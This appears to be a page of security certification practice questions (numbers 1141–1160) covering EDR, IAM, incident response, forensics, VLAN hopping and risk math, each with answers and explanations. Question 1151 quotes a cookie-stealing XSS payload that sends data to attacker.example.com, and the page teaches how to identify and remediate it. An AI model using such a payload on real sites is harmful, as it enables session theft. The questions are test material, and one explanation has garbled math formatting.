All practice questions

2232 questions

Question 1141Question

A security analyst receives an alert showing suspicious process activity and memory execution on an enterprise host. Which of the following actions can the analyst perform directly through an Endpoint Detection and Response (EDR) agent to immediately contain and investigate the host? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Isolate the compromised host from the network while maintaining agent management connectivity.; Terminate running malicious processes and process trees remotely on the endpoint.

Answer

The analyst can isolate the compromised host from the network while maintaining agent management connectivity, and terminate running malicious processes remotely on the endpoint.
Endpoint Detection and Response (EDR) agents provide direct host-level control. Isolating the endpoint restricts lateral movement while keeping command telemetry active, and terminating malicious processes stops unauthorized code execution in host memory.

Step-by-Step Solution

1
Identify the direct capabilities of host-based EDR agents during active containment.
Recognize that EDR provides centralized host isolation and remote process termination.
EDR solutions are deployed directly on endpoints to perform host-level containment and telemetry management.
2
Evaluate network isolation capabilities.
Select host network isolation.
Host network isolation cuts off communication to other internal systems while allowing security analysts to maintain an active management session to investigate.
3
Evaluate active process termination capabilities.
Select remote process termination.
EDR software enables SOC analysts to kill malicious processes running in host memory directly from the security console.

Key Concept

Endpoint Detection and Response (EDR) host isolation and process termination capabilities
Question 1142Question

An organization is redesigning its database architecture to maintain continuous uptime for a critical online transaction system. The system requires continuous availability even if an entire database server experiences a hardware controller or motherboard failure. The infrastructure team suggests installing a hardware RAID 10 array on a single database server, claiming this will meet the high availability requirement without needing additional server nodes. Which of the following best explains why this proposed solution fails to satisfy the requirement?

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Answer: RAID 10 provides storage disk fault tolerance on a single system, but it cannot prevent system downtime caused by a total server hardware failure.

Answer

RAID 10 provides storage disk fault tolerance on a single system, but it cannot prevent system downtime caused by a total server hardware failure.
High availability requires removing single points of failure across all infrastructure components. While RAID 10 protects against the failure of individual hard drives or solid-state drives within a chassis, the server itself remains a single point of failure. If the server motherboard, power supply, or RAID controller fails, the database becomes completely unavailable. To achieve host-level resilience, the architecture must include multi-node redundancy, such as a high-availability database cluster.

Step-by-Step Solution

1
Analyze the availability requirement in the scenario.
The system must survive a total host hardware failure (e.g., motherboard or power supply crash) without system downtime.
High availability at the host level requires multi-node clustering or failover redundancy.
2
Evaluate the capabilities and limits of RAID 10.
RAID 10 combines disk mirroring and striping to tolerate individual drive failures within a single server chassis.
RAID operates strictly at the local storage layer and cannot keep services online if the host machine itself powering the RAID controller crashes.
3
Select the option that correctly identifies the single point of failure.
Highlighting that local drive redundancy does not eliminate server-level single points of failure directly addresses the gap in the proposal.
True high availability against server outages requires redundant physical nodes, such as active-active or active-passive database clustering.

Key Concept

High Availability vs. Storage Redundancy
Estimated Time:1m 15s
Question 1143Question

A security administrator receives an alert indicating that domain credentials belonging to a recently terminated employee were used to successfully log in to an internal server. Which of the following identity and access management (IAM) operational processes would have directly prevented this unauthorized access?

Show answer & explanation

Answer: Performing prompt account deprovisioning as part of the employee offboarding workflow

Answer

Performing prompt account deprovisioning during offboarding directly revokes authentication credentials, preventing terminated employees from logging in to network systems.
Account deprovisioning is an essential IAM operational process executed during offboarding to disable or remove user accounts immediately upon termination. Deactivating the account revokes identity rights and prevents former staff from authenticating to enterprise systems.

Step-by-Step Solution

1
Identify the operational vulnerability presented in the scenario.
The issue is an active identity credential belonging to a terminated worker.
When employment is terminated, user credentials must immediately cease to be valid for authentication.
2
Evaluate the appropriate preventive IAM lifecycle procedure.
Automated or timely account deprovisioning deactivates access rights and credentials.
Deprovisioning directly revokes identity access privileges at the authentication source.

Key Concept

Identity Lifecycle Management and Account Deprovisioning
Question 1144Question

During an ongoing incident investigation involving an enterprise network gateway suspected of active data exfiltration, an incident responder is tasked with collecting digital evidence from the running target system to support potential legal prosecution. Which of the following procedures must the responder perform to maintain evidence integrity and adhere to forensic collection standards? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Capture the system's volatile memory (RAM) prior to powering down the host or taking a disk image.; Calculate and record SHA-256 cryptographic hashes of acquired disk images immediately after capture on the chain of custody form.

Answer

The responder must capture the volatile RAM prior to host shutdown or disk imaging and calculate cryptographic hashes (SHA-256) immediately following image acquisition to log on the chain of custody documentation.
Adhering to forensic collection principles requires prioritizing memory collection according to the Order of Volatility (capturing RAM before volatile state is wiped) and establishing verifiable integrity controls (computing cryptographic hash values immediately upon image acquisition to record in the custody log).

Step-by-Step Solution

1
Evaluate evidence collection priority using the Order of Volatility.
Identify that system memory (RAM) is extremely volatile and will be lost if the machine is powered down or if disk imaging operations alter memory state.
Capturing RAM first preserves live memory artifacts such as unencrypted keys, active connections, and running processes.
2
Determine evidence integrity verification requirements for legal defensibility.
Compute a cryptographic hash (such as SHA-256) immediately upon bit-stream disk acquisition.
Recording the initial hash on the chain of custody form allows future investigators to prove the image has not been modified.

Key Concept

Order of Volatility and Evidence Integrity Verification
Question 1145Question

During off-hours monitoring, a Security Operations Center (SOC) analyst receives a high-severity alert indicating that an unauthorized IAM access key associated with a developer account is actively making API calls to export enterprise database snapshots to an unapproved external cloud storage location. The analyst verifies that data exfiltration is currently taking place in real time. Following standard NIST SP 800-61 incident response lifecycle guidelines, which of the following actions should the analyst take FIRST?

Show answer & explanation

Answer: Apply an explicit deny inline policy to the compromised IAM account to immediately revoke active API session tokens and halt exfiltration.

Answer

The analyst should immediately attach an explicit deny inline policy to the compromised IAM account to revoke active sessions and halt ongoing exfiltration.
The correct response is to apply an explicit deny policy to the compromised IAM user account. In the NIST SP 800-61 incident response framework, when an active data breach or exfiltration event is detected, the immediate priority is Containment. Disabling or restricting the compromised credentials stops the threat actor from making further API calls and halts exfiltration immediately.

Step-by-Step Solution

1
Identify the current incident response phase
The scenario describes an ongoing, active exfiltration breach in real time.
According to NIST SP 800-61, active breaches require immediate execution of Containment controls before moving to Eradication or detailed Forensics.
2
Evaluate containment actions for compromised cloud credentials
Applying an explicit deny policy or disabling the IAM access keys immediately revokes active API tokens and stops data exfiltration.
Containment limits the scope and damage of an active security incident.
3
Distinguish containment from out-of-order phases
Forensic evidence acquisition (Eradication/Analysis) and restoring data from backups (Recovery) are necessary subsequent steps, but must follow successful containment.
Executing recovery or forensic collection without prior containment allows malicious exfiltration to persist.

Key Concept

Incident Response Containment Phase Execution
Estimated Time:2m 0s
Question 1146Question

A security operations team observes significant network degradation and inconsistent scan results during scheduled vulnerability assessments of an enterprise auto-scaling container cluster. The current scanning infrastructure relies on a centralized network scanner initiating remote, credentialed SSH/WinRM connections across dynamically assigned pod IP addresses, frequently failing when transient instances terminate mid-scan. Which architectural modification best resolves these operational scanning challenges while minimizing privileged credential transmission across the internal network?

Show answer & explanation

Answer: Deploy agent-based vulnerability monitoring integrated directly into baseline container images to report local software inventory and system state changes asynchronously.

Answer

Deploying agent-based vulnerability monitoring directly within baseline container images resolves host discovery and performance issues in auto-scaling, ephemeral environments.
Deploying agent-based vulnerability scanners into baseline container images provides continuous visibility into ephemeral microservices without relying on persistent network connections or remote SSH/WinRM credential authentication. Agents execute locally, consume minimal system resources, and push telemetry to a centralized console asynchronously, eliminating scan failures caused by container termination during active scans.

Step-by-Step Solution

1
Analyze the operational constraints and failure points in the current vulnerability scanning architecture.
Identified that centralized credentialed network scanning creates network overhead and fails when ephemeral container instances terminate before scans finish.
Centralized network scans depend on stable IP addresses and persistent network sessions.
2
Evaluate scanning methodologies against dynamic and auto-scaling cloud workload requirements.
Agent-based scanning operates locally on the target host/container, executing checks without requiring active remote network sessions or inbound SSH/WinRM credentials.
Local agents collect state telemetry and push findings asynchronously, making them ideal for dynamic, short-lived infrastructure.
3
Select the option that eliminates network overhead and handles transient instance lifecycles while maintaining high vulnerability discovery fidelity.
Deploying agents into container base images provides continuous, low-overhead visibility regardless of IP changes or container lifespan.
Agent-based assessment eliminates remote credential transmission across the network while delivering complete local package inspection.

Key Concept

Agent-Based vs. Network-Based Vulnerability Scanning in Ephemeral Environments
Estimated Time:3m 0s
Question 1147Question

During a threat hunting exercise, a security analyst inspects packet captures from an internal network switch interface. The analyst notes Ethernet frames containing nested 802.1Q encapsulation headers, where the outer VLAN tag matches the native VLAN ID of the trunk interface (VLAN 20) and the inner VLAN tag targets an isolated database subnet (VLAN 100). Which of the following network attacks do these frame characteristics indicate?

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Answer: VLAN hopping via double tagging

Answer

VLAN hopping via double tagging
The correct answer is VLAN hopping via double tagging. Double tagging takes advantage of switches stripping the outer 802.1Q tag when traffic belongs to the native VLAN of a trunk link. When stripped, the remaining inner tag is processed by downstream switches as legitimate traffic destined for the specified secondary VLAN, bypassing standard VLAN isolation controls.

Step-by-Step Solution

1
Analyze the packet capture details described in the stem.
Identified two 802.1Q headers inside the Ethernet frames (outer tag = native VLAN 20, inner tag = target VLAN 100).
Observing multiple VLAN headers (nested 802.1Q tags) is the key indicator of a double-tagging attack vector.
2
Evaluate the mechanism of switch processing for native VLAN trunk traffic.
The first switch strips the matching native VLAN outer tag and transmits the frame out the trunk link without adding a new tag, exposing the inner tag.
The second switch inspects the inner tag (VLAN 100) and routes/forwards the frame directly into the isolated target segment.
3
Correlate packet characteristics to the correct attack classification.
The indicator strictly matches VLAN hopping via double tagging.
Double tagging allows unidirectional frame delivery across VLAN boundaries without passing through a router.

Key Concept

VLAN Hopping (802.1Q Double Tagging)
Question 1148Question

A security analyst is establishing the standard administrative workflow for user onboarding and offboarding within an enterprise Identity and Access Management (IAM) system. Place the following identity lifecycle steps in the correct chronological order from first to last.

Drag items to arrange them in the correct order

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Answer

The proper sequence for identity and access management operations begins with identity verification, followed by account provisioning with role-based access, MFA token enrollment, and finally access recertification and deprovisioning.
The correct operational order follows the standard Identity and Access Management (IAM) lifecycle: first verify the person's identity, then provision the account with appropriate rights, enroll the user in MFA for secure access, and continuously perform access recertification and eventual account deprovisioning.

Step-by-Step Solution

1
Identify initial identity validation
Identity verification and identity proofing must occur first.
Organizations must confirm the identity of an individual before creating user accounts or granting enterprise resource access.
2
Establish digital credentials
Account provisioning and role assignment occur next.
An active account object in the domain directory is required before secondary security configurations can take place.
3
Apply strong authentication controls
Multi-Factor Authentication (MFA) enrollment follows credential provisioning.
The user binds their hardware token or authenticator app to their newly created user account.
4
Manage ongoing operations and termination
Access recertification and deprovisioning represent the operational audit and end-of-lifecycle phase.
Privilege recertification audits entitlement drift over time, and deprovisioning revokes rights when employment ends.

Key Concept

Identity Lifecycle Management
Question 1149Question

A software engineering team is developing a backend service that must automatedly transmit sensitive transaction audit logs to an external analytics vendor's endpoint. The security team specifies that the integration must eliminate static, long-lived API keys in application configuration files and support short-lived, cryptographically verifiable tokens for machine-to-machine authentication. Which of the following identity and access management architecture solutions should be implemented to satisfy these requirements?

Show answer & explanation

Answer: Implement OAuth 2.0 Client Credentials Grant to request short-lived JSON Web Tokens (JWTs) directly from the vendor's authorization server.

Answer

Implementing OAuth 2.0 Client Credentials Grant with short-lived JSON Web Tokens (JWTs) issued by the vendor's authorization server provides secure, automated machine-to-machine authentication without static credentials.
The correct solution uses the OAuth 2.0 Client Credentials grant, which allows a client service to authenticate directly with an authorization server using its client credentials and obtain a short-lived JSON Web Token (JWT). This satisfies both the machine-to-machine automation requirement and the security policy prohibiting static long-lived keys.

Step-by-Step Solution

1
Analyze the authentication context requirements
Identified a machine-to-machine (M2M) automated interaction requirement without human user interaction.
Different IAM flows are tailored for interactive user authentication versus automated backend service authorization.
2
Evaluate token management and credential life-cycle constraints
Determined that static API keys must be replaced with short-lived, cryptographically signed tokens.
Short-lived tokens limit the exposure window if a credential is compromised and remove stored secrets from application source files.
3
Select the appropriate IAM protocol for non-interactive backend authorization
Chose OAuth 2.0 Client Credentials grant generating short-lived JWTs.
Client Credentials grant is the industry-standard IAM architecture pattern for service-to-service access control.

Key Concept

Machine-to-Machine (M2M) Authentication and OAuth 2.0 Client Credentials Grant
Question 1150Question

An enterprise security team needs to deploy a security capability to corporate laptops that provides continuous behavioral telemetry, process execution monitoring, and the ability to perform remote network host isolation during an incident. Which of the following technologies best meets these operational requirements?

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Answer: Endpoint Detection and Response (EDR)

Answer

Endpoint Detection and Response (EDR)
Endpoint Detection and Response (EDR) agents run directly on end-user devices to log process execution, track host behavior in real time, and allow SOC analysts to isolate compromised hosts from the network remotely.

Step-by-Step Solution

1
Identify the required capabilities from the scenario
The requirements are continuous host-level telemetry, process execution tracking, and remote host containment/isolation capabilities.
Security controls must match the specific functional scope requested by the incident response team.
2
Compare candidate security tools against host-level vs network-level functionality
Only host-based agent tools operating on the endpoint can monitor granular system process behavior and enforce host network interface isolation.
Network appliances like firewalls and NIDS lack visibility into internal OS process execution and file access.
3
Select the host security technology designed for behavioral monitoring and containment
Endpoint Detection and Response (EDR) provides behavioral detection, logging, and remote host isolation capabilities.
EDR agents are engineered specifically to provide real-time endpoint visibility and incident remediation capabilities.

Key Concept

Endpoint Detection and Response (EDR) capabilities including continuous monitoring and host isolation
Question 1151Question

A security analyst reviews web application request logs following a security alert. The log entry shows the following payload submitted via an unauthenticated user comment field:

`comment=<script>window.location='http://attacker.example.com/steal?c='+document.cookie</script>`

Which of the following vulnerabilities is present in the application, and which remediation control best resolves the root cause?

Show answer & explanation

Answer: Cross-Site Scripting (XSS); implement context-aware output encoding and input sanitization.

Answer

Cross-Site Scripting (XSS); implement context-aware output encoding and input sanitization.
The submitted payload uses HTML `<script>` tags and browser DOM manipulation (`document.cookie`) to execute code on the victim's client device, which characterizes Cross-Site Scripting (XSS). Implementing context-aware output encoding ensures that characters such as `<` and `>` are safely rendered as text rather than executed as HTML/JavaScript code by the web browser.

Step-by-Step Solution

1
Analyze the log payload structure
The string `<script>window.location='http://attacker.example.com/steal?c='+document.cookie</script>` targets client-side browser execution to read session cookies.
Identifying the target environment (browser vs database) isolates the specific vulnerability type.
2
Classify the vulnerability type
Client-side code execution via untrusted input in a web application is Cross-Site Scripting (XSS).
SQL injection alters database logic, whereas XSS executes script code within a victim's browser context.
3
Select the appropriate software remediation control
Context-aware output encoding converts special characters (like `<` and `>`) into safe HTML entities prior to rendering.
Remediating application vulnerabilities requires fixing source code handling rather than blocking network traffic or adding authentication checks.

Key Concept

Cross-Site Scripting (XSS) Identification and Remediation
Question 1152Question

An IT risk manager evaluates a critical file storage server with an estimated asset value of $90,000. A recent threat assessment determines that a localized ransomware infection would result in an Exposure Factor (EF) of 30%. What is the Single Loss Expectancy (SLE) for this server in dollars?

Show answer & explanation

Answer: 27000

Answer

The Single Loss Expectancy (SLE) is $27,000.
Single Loss Expectancy (SLE) measures the financial loss incurred from a single risk event. It is computed using the formula SLE=AV×EFSLE = AV \times EF, where Asset Value (AV) is 90,000andExposureFactor(EF)is3090,000 and Exposure Factor (EF) is 30% ( 0.30 ).Multiplying). Multiplying 90,000 \times 0.30 gives gives 27,000.

Step-by-Step Solution

1
Identify the key metric values provided in the scenario.
Asset Value (AV) = $90,000; Exposure Factor (EF) = 0.30.
These parameters are the necessary components to determine the potential loss from a single threat occurrence.
2
Apply the quantitative risk analysis formula for Single Loss Expectancy (SLE).
Formula: SLE=AV×EFSLE = AV \times EF
SLE measures the financial loss expected each time a specific risk materializes against an asset.
3
Multiply the total asset value by the exposure factor.
90,000×0.30=27,00090,000 \times 0.30 = 27,000
Calculates 30% of the total asset monetary value.

Key Concept

Single Loss Expectancy (SLE) Calculation
Question 1153Question

During a post-incident review, a security analyst discovers that an attacker who gained initial access through a compromised web application loaded a custom Loadable Kernel Module (LKM) to establish a rootkit and achieve kernel-level persistence on a production Linux server. Which host hardening practice provides the MOST effective mitigation to prevent unauthorized kernel module execution?

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Answer: Restricting module insertion after boot by locking kernel module loading via sysctl runtime parameters

Answer

Restricting module insertion after boot by locking kernel module loading via sysctl runtime parameters is the most effective host hardening mitigation.
The correct option correctly identifies kernel parameter hardening as the direct technical mitigation for Loadable Kernel Module (LKM) rootkits. Disabling dynamic module loading via system configuration prevents any user space process—even those operating with root privileges—from inserting unverified code into kernel memory space after the system finishes booting.

Step-by-Step Solution

1
Analyze the threat vector described in the scenario.
The attacker achieved local privilege escalation and persistence by dynamically inserting a Loadable Kernel Module (LKM) into kernel memory after compromising an application.
Understanding the attack surface (local host kernel subsystem) is required to select an appropriate host-level control.
2
Evaluate potential host-hardening controls specifically targeted at kernel space protection.
Disabling runtime module loading (e.g., setting kernel.modules_disabled = 1 after boot) permanently restricts kernel module modifications for the operational lifetime of the host.
Host-hardening strategies must enforce the principle of least privilege at the operating system kernel layer.
3
Differentiate effective host controls from network-based or perimeter controls.
Network firewalls, IPS devices, and deception honeypots operate outside the local kernel and cannot block local in-memory LKM execution.
Host vulnerabilities require host-centric hardening measures rather than perimeter or detective controls.

Key Concept

Host Hardening and OS Kernel Security Controls
Question 1154Question

A security administrator needs to perform a routine vulnerability scan on a critical production database server during business hours. The administrator must maximize detection accuracy for missing operating system patches while ensuring database availability is not impacted. Which of the following scanning practices should the administrator select? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Perform a credentialed scan using administrative account privileges; Configure the scanner to use non-intrusive scan options

Answer

The administrator should perform a credentialed scan using administrative account privileges and configure the scanner to use non-intrusive scan options.
Selecting credentialed scanning enables the vulnerability scanner to log into the host and accurately read installed patches and system configurations with minimal network overhead. Pairing this with non-intrusive scan settings ensures the scanner only checks system state against known vulnerability signatures without executing potentially destabilizing exploit code on production systems.

Step-by-Step Solution

1
Analyze the operational constraints of the scenario
Identified the need for high vulnerability detection accuracy on a live production server without risking service interruption.
Production environments require non-disruptive assessment techniques.
2
Evaluate authentication requirements for scanning
Selected credentialed scanning because authenticating directly to the host provides precise insight into local patch levels and configurations.
Uncredentialed network scans can miss internal local vulnerabilities or misinterpret closed ports.
3
Evaluate impact controls for vulnerability scanning
Selected non-intrusive scanning to ensure checks only inspect signatures and version headers rather than attempting system exploitation.
Intrusive tests or exploit scripts can cause unexpected system crashes on production databases.

Key Concept

Credentialed vs. Non-Intrusive Vulnerability Scanning Configuration
Question 1155Question

An enterprise security architect is designing an Identity and Access Management (IAM) framework to address several distinct security requirements across a hybrid cloud environment. Match each IAM architectural mechanism on the left with its corresponding enterprise use case on the right.

Click a left item, then click its matching right item

Items

Ephemeral Credential Broker (Just-In-Time Access)
Vaulted Credential Session Proxy
SCIM-Based Dynamic Provisioning Engine
Certificate-Based Workload mTLS Architecture

Matches

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Answer

Ephemeral Credential Broker matches short-lived cloud permissions. Vaulted Credential Session Proxy matches isolating administrative sessions and obfuscating root passwords. SCIM-Based Dynamic Provisioning Engine matches user lifecycle identity synchronization. Certificate-Based Workload mTLS Architecture matches service-to-service authentication for zero-trust microsegments.
Each IAM architecture mechanism directly addresses its respective enterprise design goal: Ephemeral Brokers enable short-lived Just-In-Time access; Session Proxies secure and audit legacy administrator credentials without revealing passwords; SCIM automates account lifecycle management across external platforms; and Workload mTLS enforces mutual cryptographic authentication in microservice networks.

Step-by-Step Solution

1
Analyze the IAM architectural mechanisms to determine their functional capabilities.
Categorized mechanisms into short-lived authorization (ephemeral broker), privileged account proxying (session proxy), user identity lifecycle management (SCIM), and machine identity authentication (mTLS).
Evaluating core capabilities allows proper mapping to security requirements.
2
Match each control mechanism to the enterprise scenario that explicitly requires its technical implementation.
Aligned temporary permissions with JIT brokers, legacy session recording with vault proxies, identity synchronization with SCIM, and zero-trust workload traffic security with mTLS.
Ensures architectural alignment between IAM security controls and specific enterprise operational requirements.

Key Concept

Identity and Access Management Architecture Controls and Protocols
Question 1156Question

A Security Operations Center (SOC) analyst receives an active EDR telemetry alert indicating that a Windows workstation is executing malicious code via a Living-off-the-Land (LotL) binary. Place the following Endpoint Detection and Response (EDR) containment and incident handling actions in the correct chronological order from first step to last step.

Drag items to arrange them in the correct order

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Answer

The correct sequence of actions is: 1) Apply software-based host network isolation through the EDR console, 2) Terminate the malicious process and its associated child process tree via the EDR process lineage view, 3) Gather volatile system telemetry, including process memory dumps and EDR sensor logs, for analysis, and 4) Remove persistence artifacts, such as malicious scheduled tasks or registry keys, and lift host isolation.
In standard EDR incident response workflows, immediate containment (network isolation via the software agent) takes precedence to stop C2 traffic and lateral movement. Next, active malicious process trees are terminated to freeze payload execution. Once contained, volatile forensic artifacts (RAM/process dumps) are collected for root-cause analysis. Finally, persistence mechanisms are eradicated and system integrity is verified before removing isolation.

Step-by-Step Solution

1
Isolate the endpoint on the network using the EDR agent.
Network communication to external adversary C2 servers and adjacent internal hosts is halted immediately.
Preventing lateral movement and outbound data exfiltration is the top priority during active endpoint compromise.
2
Terminate active malicious processes identified by EDR process lineage tracking.
The execution of malicious payloads on the local machine stops.
Stopping active memory execution prevents further host degradation or local encryption after the network perimeter of the host is locked down.
3
Trigger remote volatile telemetry collection via EDR forensic capabilities.
Memory dumps and sensor logs are preserved for root-cause investigation.
Forensic telemetry provides necessary IoCs to determine the initial breach vector without interrupting critical containment steps.
4
Perform system remediation and remove persistent startup entries before restoring full network connectivity.
The endpoint is clean and safe to rejoin normal production operations.
Restoring network connectivity prior to removing persistence mechanisms allows the adversary to regain access immediately upon reconnection.

Key Concept

EDR Incident Containment and Response Lifecycle
Estimated Time:1m 30s
Question 1157Question

A security architect is establishing high availability guidelines for enterprise infrastructure. Which architectural control specification best matches each resilience technology?

Click a left item, then click its matching right item

Items

NIC Teaming
Geographic Dispersal
Active-Passive Clustering
Multipath I/O (MPIO)

Matches

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Answer

NIC Teaming matches adapter-level link aggregation; Geographic Dispersal matches distribution across geographically separate facilities; Active-Passive Clustering matches a primary active node with an idle standby node; Multipath I/O matches redundant physical paths between server hardware and storage arrays.
Each high-availability control is mapped to its appropriate architectural scope: NIC Teaming operates at the network interface layer, Geographic Dispersal mitigates site-level operational risks, Active-Passive Clustering manages compute failover using a dedicated standby node, and Multipath I/O ensures continuous storage fabric availability.

Step-by-Step Solution

1
Identify network interface redundancy controls
Match NIC Teaming to the aggregation of physical network interfaces for adapter failover.
NIC Teaming specifically handles network interface card and link redundancy.
2
Identify site-level resilience mechanisms
Associate Geographic Dispersal with distributing assets across separate physical regions.
Physical separation protects against wide-area site outages.
3
Evaluate high-availability cluster failover modes
Map Active-Passive Clustering to the configuration where a standby secondary node waits for primary node failure.
Active-passive nodes do not process active workloads simultaneously.
4
Analyze storage bus interface redundancy mechanisms
Link Multipath I/O (MPIO) to redundant hardware channels between host servers and SAN storage controllers.
MPIO protects against storage bus, Fibre Channel HBA, or cable disruptions.

Key Concept

High Availability and Infrastructure Redundancy Controls
Estimated Time:1m 30s
Question 1158Question

A forensic investigator arrives at an enterprise branch office to analyze a powered-on physical server suspected of hosting an active in-memory keylogger that exfiltrates proprietary records. To preserve evidence for legal proceedings while strictly following forensic acquisition standards, which of the following actions must the investigator take before acquiring non-volatile disk media?

Show answer & explanation

Answer: Capture the host system memory (RAM) to an external sanitized storage media and document the acquisition hash on the chain of custody form.

Answer

Capturing host system memory (RAM) to sanitized storage and logging its cryptographic acquisition hash on the chain of custody form prior to non-volatile disk acquisition.
The correct action prioritizes system RAM preservation over non-volatile media in strict accordance with the Order of Volatility (CPU registers/cache → System RAM → Swap/page files → Hard disk drive → Archival media). Furthermore, recording the acquisition hash on a formal chain of custody document ensures tamper-evidence and legal admissibility.

Step-by-Step Solution

1
Evaluate the current state of the compromised host.
The server is powered on and running an active in-memory malware threat.
Live systems contain highly volatile data in CPU cache and RAM that will be permanently lost if powered down or if lower-volatility acquisitions are prioritized.
2
Apply the Order of Volatility principles.
RAM must be acquired before non-volatile media (hard drives/SSDs).
Data in RAM changes rapidly and cannot be recovered once overwritten or cleared.
3
Establish Chain of Custody and Evidence Integrity.
Calculate a cryptographic hash (e.g., SHA-256) of the memory dump immediately upon acquisition and log it alongside timestamp and handler details.
Proves evidence integrity and authenticates the acquisition state for court admissibility.

Key Concept

Order of Volatility and Chain of Custody Integrity
Estimated Time:2m 0s
Question 1159Question

During an incident response investigation, a Security Operations Center (SOC) team detects an active web shell on a public-facing web server cluster. Log telemetry confirms that the threat actor is abusing harvested service account credentials to attempt lateral movement toward the enterprise database tier. According to standard incident response lifecycle frameworks, which of the following containment actions should the Incident Response Team (IRT) execute immediately? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Revoke the compromised service account credentials and terminate all active authentication sessions in the identity provider.; Isolate the compromised web server cluster from the internal network using firewall rules and host microsegmentation.

Answer

The correct containment actions are revoking the compromised service account credentials and isolating the compromised web server cluster from the internal network using microsegmentation.
In accordance with standard incident response playbooks, containment aims to halt the spread of an active compromise while preserving evidence. Disabling compromised service account credentials neutralizes the adversary's authentication access, while network microsegmentation isolates the web server cluster to prevent lateral movement to database assets.

Step-by-Step Solution

1
Determine the current phase of the incident response lifecycle.
The incident is currently in the Containment phase following active detection of a web shell and attempted lateral movement.
Containment limits incident impact and prevents lateral expansion before moving to eradication.
2
Identify effective containment controls that preserve evidence.
Revoking compromised account tokens blocks authorized access abuse, and microsegmenting network paths blocks traffic to internal database servers.
These controls stop attacker activity without overwriting system volatile memory or storage logs.
3
Differentiate containment actions from eradication or preventive controls.
System reimaging is classified under eradication/recovery, while WAF signature updates represent preventive controls.
Executing eradication prior to containment breaches standard NIST/ISO IR lifecycle sequence.

Key Concept

Incident Response Containment Phase Execution
Question 1160Question

A security operations team is implementing Just-In-Time (JIT) access controls within a Privileged Access Management (PAM) framework to reduce standing administrative privileges. Place the operational steps of a JIT privileged access session lifecycle in the correct sequential order from start to finish.

Drag items to arrange them in the correct order

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Answer

The correct operational order for a Just-In-Time (JIT) privileged access lifecycle is: 1) Request submission with justification, 2) Policy evaluation and approval routing, 3) Issuance of ephemeral or temporary credentials, 4) Brokered session execution with recording, and 5) Automatic session revocation and credential rotation.
Just-In-Time (JIT) access management operates on a strict sequence to prevent standing privileges. First, an administrator requests elevated rights with valid justification. Next, the PAM platform validates contextual policies and obtains necessary approvals. Third, short-lived credentials or certificates are provisioned. Fourth, the user connects via a proxied gateway that logs all actions. Finally, upon expiration of the session timer, access is revoked and credentials are automatically rotated.

Step-by-Step Solution

1
Identify the request phase
The administrator submits an access request specifying the target system and justification.
JIT workflows require explicit user initiation with business context before elevated permissions are granted.
2
Identify the authorization and policy check phase
The PAM platform evaluates contextual policies and routes the request for approval.
Access policy checks and approvals ensure zero trust principles are enforced before issuing access.
3
Identify credential provision
The PAM service issues short-lived ephemeral credentials or checks out a temporary account.
Credentials must be generated or checked out dynamically only after successful request approval.
4
Identify active session monitoring
The user connects via a brokered PAM gateway with keystroke and session logging.
Privileged sessions require real-time proxying and auditing to maintain security compliance.
5
Identify lifecycle termination
The PAM system revokes permissions and rotates account credentials when the window expires.
Automatic revocation and rotation eliminate standing privileges and secure the target resource.

Key Concept

Just-In-Time (JIT) Privileged Access Management Lifecycle
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